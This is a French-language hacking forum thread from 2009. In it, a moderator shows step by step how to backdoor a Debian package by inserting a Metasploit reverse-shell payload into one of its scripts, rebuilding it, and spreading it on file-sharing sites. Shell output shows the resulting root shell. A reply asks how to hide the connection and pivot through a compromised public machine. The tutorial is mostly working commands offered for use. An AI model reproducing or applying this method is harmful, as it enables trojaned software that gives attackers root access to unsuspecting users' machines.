Remote Exploit Forums
  #1 (permalink)  
Old 09-19-2009, 11:42 AM
Nagual's Avatar
Moderator
 
Join Date: Nov 2007
Location: Desert of S3th
Posts: 173
Default Comment Backdoorer un .deb

Nous allons voir ici comment décompiler une archive.deb, la modifier (y ajouter une backdoor) et la recompiler. Pour faire simple on va générer un reverse shell avec Metasploit que l'on va inclure dans notre archive. On y cherchera un script et on le modifiera de facon à ce qu'il exécute notre backdoor. On prendra comme exemple l'archive de spoowep postée dans le forum spoonwep2 et spoonwpa sur BT4.

Commencons par créer un répertoire de travail

Code:
mkdir build
cd build
Extracton notre archive dans un répertoire sans l'installer.

Code:
root@BT4-Nag:~/build# dpkg -x spoonwep-wpa-rc3.deb arbeit
Partons à la recherche d'un script.

Code:
root@BT4-Nag:~/build# ls arbeit/usr/local/bin/wifispoonfeeder/spoonwep/lib/
arp.sh       chop.sh      frag.sh      javacsv.jar  p0841.sh     sniff.sh

root@BT4-Nag:~/build/arbeit/usr/local/bin/wifispoonfeeder/spoonwpa/lib# ls
javacsv.jar  sniff.sh  wordlist.txt
Cherchons note payload

Code:
root@BT4-Nag:/pentest/exploits/framework3# ./msfpayload |grep Usage
    Usage: ./msfpayload <payload> |var=val| <|S|ummary|C||P|erl|Rub|y|||R|aw||J|avascript|e|X|ecutable||V|BA>

root@BT4-Nag:/pentest/exploits/framework3# ./msfpayload |grep reverse_tcp |grep linux
    linux/mipsbe/shell_reverse_tcp               Connect back to attacker and spawn a command shell
    linux/mipsle/shell_reverse_tcp               Connect back to attacker and spawn a command shell
    linux/ppc/shell_reverse_tcp                  Connect back to attacker and spawn a command shell
    linux/ppc64/shell_reverse_tcp                Connect back to attacker and spawn a command shell
    linux/x86/adduser/reverse_tcp                Connect back to the attacker, Create a new user with UID 0
    linux/x86/chmod/reverse_tcp                  Connect back to the attacker, Runs chmod on specified file with specified mode
    linux/x86/exec/reverse_tcp                   Connect back to the attacker, Execute an arbitrary command
    linux/x86/metsvc_reverse_tcp                 Stub payload for interacting with a Meterpreter Service
    linux/x86/shell/reverse_tcp                  Connect back to the attacker, Spawn a command shell
    linux/x86/shell_reverse_tcp                  Connect back to attacker and spawn a command shell
    linux/x86/shell_reverse_tcp2                 Connect back to attacker and spawn a command shell
et créons le

Code:
root@BT4-Nag:/pentest/exploits/framework3# ./msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.34 LPORT=1234 X > /root/build/sploit/usr/local/bin/wifispoonfeeder/spoonwep/lib/dsniff.sh
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
 Length: 50
Options: LHOST=192.168.1.34,LPORT=1234
root@BT4-Nag:/pentest/exploits/framework3# ./msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.34 LPORT=1234 X > /root/build/sploit/usr/local/bin/wifispoonfeeder/spoonwpa/lib/dsniff.sh
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
 Length: 50
Options: LHOST=192.168.1.34,LPORT=1234
Mettons les droits d'exécution

Code:
root@BT4-Nag:~/build/sploit/usr/local/bin/wifispoonfeeder/spoonwep/lib# chmod +x dsniff.sh
ajoutons une ligne à nos scripts, par exemple dans sniff.sh

Code:
root@BT4-Nag:~/build# cat sploit/usr/local/bin/wifispoonfeeder/spoonwep/lib/sniff.sh

../lib/./dsniff.sh
Il nous faut maintenant ajouter le fichier de controle DEBIAN à l'archive
Debian Policy Manual - Control files and their fields

Code:
root@BT4-Nag:~/build# pwd
/root/build

mkdir arbeit/DEBIAN
et on va copier celui se trouvant dans notre .deb d'origine dans notre répertore DEBIAN

voila il ne nous reste plus qu'à compiler notre package

Code:
root@BT4-Nag:~/build# dpkg-deb --build arbeit
dpkg-deb: building package `spoonwep-spoonwpa-modified' in `arbeit.deb'.
maintenant on va diffuser notre nouvelle archive via des sites de partage de fichiers.

Pour le test j'ai installé mon archive sur un BT4PF en live sur un autre notebook.


Code:
root@bt:~# wget http://192.168.1.34/arbeit.deb
--2009-09-19 13:46:16--  http://192.168.1.34/arbeit.deb
Connecting to 192.168.1.34:80... connected.
HTTP request sent, awaiting response... 200 No headers, assuming HTTP/0.9
Length: unspecified
Saving to: `arbeit.deb'

    |      <=>                              | 7,368,776   5.86M/s   in 1.2s

2009-09-19 13:46:17 (5.86 MB/s) - `arbeit.deb' saved |7368776|

root@bt:~# dpkg -i arbeit.deb
Selecting previously deselected package spoonwep-spoonwpa-modified.
(Reading database ... 183077 files and directories currently installed.)
Unpacking spoonwep-spoonwpa-modified (from arbeit.deb) ...
Setting up spoonwep-spoonwpa-modified (BT3) ...
Maintenant on va lancer notre server metasploit en écoute et attendre une connexion.

Code:
root@BT4-Nag:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.1.34 LPORT=1234 E
|*| Please wait while we load the module tree...
|*| Handler binding to LHOST 0.0.0.0
|*| Started reverse handler
|*| Starting the payload handler...
|*| Sending stage (36 bytes)
|*| Command shell session 1 opened (192.168.1.34:1234 -> 192.168.1.37:33568)

id
uid=0(root) gid=0(root) groups=0(root)

ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:00:00:00
          inet addr:192.168.1.37  Bcast:255.255.255.255  Mask:255.255.255.0

....
Voili voila, si vous avez un doute, regarder les connexions ouvertes avant et après avoir lancer votre tool.

Avant

Code:
root@BT4-Nag:~/build# netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:902             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:8333            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8307          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:8222            0.0.0.0:*               LISTEN
tcp6       0      0 127.0.0.1:8005          :::*                    LISTEN
tcp6       0      0 :::8009                 :::*                    LISTEN
tcp6       0      0 :::8308                 :::*                    LISTEN
après

Code:
root@BT4-Nag:~/build# netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:902             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:8333            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8307          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:8222            0.0.0.0:*               LISTEN
tcp        0      0 192.168.1.37:45816      192.168.1.34:1234       ESTABLISHED
tcp6       0      0 127.0.0.1:8005          :::*                    LISTEN
tcp6       0      0 :::8009                 :::*                    LISTEN
tcp6       0      0 :::8308                 :::*                    LISTEN
__________________
http://backtrack-fr.net

Last edited by Nagual; 09-20-2009 at 07:27 PM.
Reply With Quote
  #2 (permalink)  
Old 09-20-2009, 05:27 PM
Junior Member
 
Join Date: Sep 2009
Posts: 26
Default

Impressionnant, faut y penser quand même.

Le seul truc c'est que le méchant black hat hacker peut difficilement rester en écoute 24/24H en attente d'une connexion si diffusé sur le net, aléatoire qui plus est.

D'autant plus que le défaut du reverse shell c'est de donner son adresse ip en cadeau d'arrivé. C'est pas si différent des scripts kiddies windowsiens qui balance leurs serveurs prorat à leurs connaissances via msn.
Reply With Quote
  #3 (permalink)  
Old 09-20-2009, 07:34 PM
Nagual's Avatar
Moderator
 
Join Date: Nov 2007
Location: Desert of S3th
Posts: 173
Default

Quote:
Originally Posted by Nagual View Post
Pour faire simple
Après tu peux mettre ce que tu veux dans ton archinve hein , qui plus est pour cet exemple c'est spécifié de lancer spoonwep en root. La seule limite est ton imagination.
__________________
http://backtrack-fr.net
Reply With Quote
  #4 (permalink)  
Old 09-21-2009, 10:34 PM
Junior Member
 
Join Date: Sep 2009
Posts: 26
Default

C'est vrai aussi Même si c'est un autre sujet, y a moyen de faire usage d'un reverse shell de façon "discrete" ?

Edit : Pour préciser ma question je me demandais si il existe un payload capable de masquer la connexion entre le client et le serveur, histoire qu'il en faille un peu plus qu'un simple netstat pour se rendre compte d'une activité suspecte. Même si techniquement parlant j'ai dut mal à imaginer comment ça pourrai se faire.
Je suppose que l'idée d'une connexion discontinu est impossible dans le cas d'un reverse shell puisque la cible y est le client...

Même si la question à pas vraiment lieu de se pauser, techniquement ça peut être intéressant.

Edit 2 :

J'ai bien réfléchi et j'ai pensé à la chose suivante, dans le cas bien sur d'un méchant hacker sanguinaire :
- Prise de contrôle d'un pc à usage publique (ou autres)
- Création du payload avec l'ip HOST du pc contrôlé
- On lance le payload sur le pc cible via le pc publique (meterpreter doit bien savoir aider) -> Reverse shell sur le pc publique
- On renvoi le tout par tunneling

Réalisable ou non ? J'ai aucune envie de faire usage de ce genre de procédé mais jsuis du genre curieux

Last edited by Bjnnn; 09-23-2009 at 08:18 PM.
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT. The time now is 10:20 AM.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.2